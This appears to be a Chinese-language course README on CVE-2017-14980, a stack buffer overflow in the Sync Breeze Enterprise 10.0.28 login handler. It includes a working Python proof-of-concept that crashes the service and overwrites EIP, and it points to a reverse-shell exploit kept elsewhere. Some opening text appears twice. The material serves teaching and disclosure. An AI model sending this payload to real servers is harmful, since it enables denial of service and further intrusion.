Sync Breeze Enterprise 10.0.28 中通过 `/login` 处理器可触发的基于栈的缓冲区溢出,演示了未检查的输入长度如何破坏栈内存。
Sync Breeze Enterprise 10.0.28 中通过 /login 处理程序触发的基于栈的缓冲区溢出,展示了未检查的输入长度如何破坏栈内存。
这个仓库是我在教授内存损坏利用时使用的材料的一部分(除了日常工作,我还在不同的网络安全课程中任教,帮助培养下一代逆向工程师)。
CVE-2017-14980 是我用来让学生体验通过 HTTP(而非原始 TCP 协议)进行经典 EIP 覆盖的案例。乍看很简单——一个登录表单、一个长密码、一次崩溃——但 HTTP 上下文引入了一组不那么明显的坏字符,迫使学生思考数据在被复制到易受攻击的缓冲区之前是如何被处理的。理解为什么 %、&、+ 和 = 在这里是坏字符,需要理解 URL 编码,这本身就是一个有用的教训。
Sync Breeze Enterprise 是一个 Windows 文件同步应用程序,它暴露了一个 Web 管理界面。漏洞存在于登录处理程序中,该程序将密码字段复制到一个固定大小的栈缓冲区中,而没有进行长度验证。这个案例在教学中的价值在于:
Sync Breeze Enterprise 是一个 Windows 文件同步工具,包含一个用于远程管理的内置 Web 服务器。Web 界面在启用时监听 TCP 80 端口,并在 /login 处暴露一个登录表单。漏洞存在于处理密码字段的 POST 处理程序中。
关键技术细节:
Sync Breeze 通过读取 POST 请求体并提取 password 字段来处理登录表单。该值被复制到一个固定大小的栈缓冲区中,而不检查其长度。简化后的漏洞逻辑如下所示:
char password_buffer[256];
strcpy(password_buffer, password_field);
POST 请求体在复制之前会被 URL 解码,这意味着像 %25 这样的字符在到达缓冲区之前会被解码为 %。这也是为什么某些 URL 特殊字符会成为坏字符——它们在数据到达易受攻击的复制操作之前就被 HTTP 层解释。发送一个足够长的密码值会导致复制操作写入超出缓冲区末尾,覆盖保存的返回地址。当函数返回时,CPU 将从栈中加载攻击者控制的值到 EIP 并跳转执行。
可以通过向 /login 发送一个过长的密码 POST 请求来重现崩溃。无需身份验证。使用 Python 的示例:
import socket
HOST = '127.0.0.1'
PORT = 80
payload = b"A" * 600
body = b"username=admin&password=" + payload
request = (
b"POST /login HTTP/1.1\r\n"
b"Host: 127.0.0.1\r\n"
b"Content-Type: application/x-www-form-urlencoded\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"Connection: close\r\n"
b"\r\n" +
body
)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(request)
s.close()
在调试器下执行时,崩溃显示 EIP 被用户控制的数据覆盖:
EIP = 41414141
确认保存的返回地址已被溢出破坏。
这个仓库的目的不仅仅是演示崩溃,而是逐步引导你完成完整的利用过程,从模糊测试到实现一个可工作的反向 shell。
为了保持主 README 的整洁,详细的利用说明、脚本和调试器步骤都放在本仓库的 Vulnerability 📂 文件夹中。
在那里你可以找到用于利用此 CVE 的完整工作流程,包括: